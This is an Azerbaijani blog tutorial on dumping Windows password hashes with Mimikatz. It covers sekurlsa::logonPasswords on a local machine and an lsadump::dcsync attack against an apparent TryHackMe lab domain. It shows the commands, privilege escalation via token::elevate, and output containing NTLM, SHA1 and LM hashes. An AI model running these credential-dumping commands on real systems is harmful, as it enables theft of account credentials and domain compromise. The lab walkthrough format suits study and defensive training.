Mimikatz ilə Hashlərin Əldə Edilməsi (NTDS.dit)
13rose
3 min read
Mimikatz nədir?Mimikatz necə istifadə olunur? Mimikatz ilə hashlərin dump edilməsi necə həyata keçirirlir?DCsync nədir? DCsync ilə hash əldə etmək?
Telegram kanalına qoşularaq bu və digər mövzular üzrə quizlərdə iştirak edə bilərsiniz!
Telegram (Kanal): https://t.me/xakeraz_official
Mimikatz
Mimikatz – yaddaşdan aşağıdakı məlumatları əldə etmək üçün əvəz edilməz bir alətdir:
- Windows parolların hashləri
- açıq formatda parolları
- Kerberos biletləri.Onlar Windows sistemlərdə tək girişli mexanizm üçün istifadə olunur.SSO istifadəçini domain daxilində digər sistemlərə parolsuz daxil olmasını təmin edir.
Mimikatzı əldə etməyin iki yolu vardır: 1-ci yol Github reposundan yükləmək (https://github.com/ParrotSec/mimikatz) , 2-ci isə Kali Linux əməliyyat sistemindən Windows əməliyyat sisteminə ötürmək.
/usr/share/windows-resources/mimikatz/x64/mimikatz.exe
/usr/share/windows-resources/mimikatz/Win32/mimikatz.exeMimikatz alətini hədəfə kopyaladıqdan sonracmd-ni administrator olaraq açırıq.Daha sonra aşağıdakı əmr ilə Mimikatz alətini başaldıram.
C:\Users\Rose\Desktop>mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # token::elevate
Token Id : 0
User name :
SID name : NT AUTHORITY\SYSTEM
936 {0;000003e7} 0 D 78798 NT AUTHORITY\SYSTEM S-1-5-18 (04g,31p) Primary
-> Impersonated !
* Process Token : {0;1006324c} 8 F 302517693 Rose\Rose S-1-5-21-3495899180-665949898-3157562667-1001 (14g,24p) Primary
* Thread Token : {0;000003e7} 0 D 302629728 NT AUTHORITY\SYSTEM S-1-5-18 (04g,31p) Impersonation (Delegation)İndi bizim hashləri dump etmək icazəmiz olduğunu yoxlamaq üçün privilege::debug kommandasından istifadə edirik.Əgər yuxarıdakı kiimi Privilege ’20’ OK nəticə verməssə, token::elevate kommandası ilə səlahiyyətlərimiz artırmağa çalışa bilərik.
Cari vəziyyətdə OK yazısından bilinirki, biz hashləri dump edə bilərik.Dump etmək üçün sekurlsa::logonPasswords kommandasını icra edirik.
mimikatz # sekurlsa::logonPasswords
Authentication Id : 0 ; 268841617 (00000000:10063291)
Session : Interactive from 8
User Name : Rose
Domain : ROSE
Logon Server : ROSE
Logon Time : 2.06.2025 20:50:32
SID : S-1-5-21-3495899180-665949898-3157562667-1001
msv :
[00000003] Primary
* Username : Rose
* Domain : .
* NTLM : 2c370ea421435086c1a5d4d26e09c29c
* SHA1 : cf5b04d72e1209685859690c74d29ddb367dca05
* DPAPI : cf5b04d72e1209685859690c74d29ddbActive Directory hashlərinin Dump Edilməsi
Standart olaraq Active Directory mühitində istifadəçilər öz hesablarından istifadə edərək cihazlarına daxil olurlar.Onlar eyni istifadəçi hesabından digər cihazlara və sistemlərə daxil olurlar,bu tək giriş adlanır (single sign-on,SSO). İstifadəçilərin hesabları Domain Controller severində NTDS.DİT faylında saxlanılır və faylın adresi C:\Windows\NTDS\NTDS.dit yolunda yerləşir. Hashlərin dump edilməsi məhz bu fayl üzərindən həyata keçirilir.Biz həmin faylı oxuya bilmərik, bunun üçün istifadəçiləri və parolların hashlərini dump etmək lazımdır.Mimikatz həmin əməliyyatı yerinə yetirmək üçün istifadə oluna bilər.Mimikatz alətinin dcsync funksiyasını tətbiqi ilə həyata keçirilir:
mimikatz # lsadump::dcsync /domain:za.tryhackme.loc /user:<Your low-privilege AD Username>
[DC] 'za.tryhackme.loc' will be the domain
[DC] 'THMDC.za.tryhackme.loc' will be the DC server
[DC] 'aaron.jones' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
Object RDN : aaron.jones
** SAM ACCOUNT **
SAM Username : aaron.jones
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000200 ( NORMAL_ACCOUNT )
Account expiration :
Password last change : 4/25/2022 7:30:21 PM
Object Security ID : S-1-5-21-3885271727-2693558621-2658995185-1429
Object Relative ID : 1429
Credentials:
Hash NTLM: fbdcd5041c96ddbd82224270b57f11fc
ntlm- 0: fbdcd5041c96ddbd82224270b57f11fc
lm - 0: 0fd2685aa18c78bd265d02bdec203b04 Ümidvaram faydalı olmuşdur.Təşəkkürlər!
Bizi izləyin:
Telegram (Kanal): https://t.me/xakeraz_official
Paylaşımların səliqəli yığılmış halı: https://t.me/xakerazgroup
Fikir və şərhləriniz : https://t.me/xakerazchat
